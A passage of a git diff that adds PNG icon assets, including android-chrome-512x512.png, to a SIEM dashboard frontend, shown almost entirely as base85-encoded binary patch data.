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 literal 0 HcmV?d00001 diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/android-chrome-512x512.png b/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/android-chrome-512x512.png new file mode 100644 index 0000000000000000000000000000000000000000..ae067ad977ec5cea2f5af9dab2c993fd0cb48e1a GIT binary patch literal 144902 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 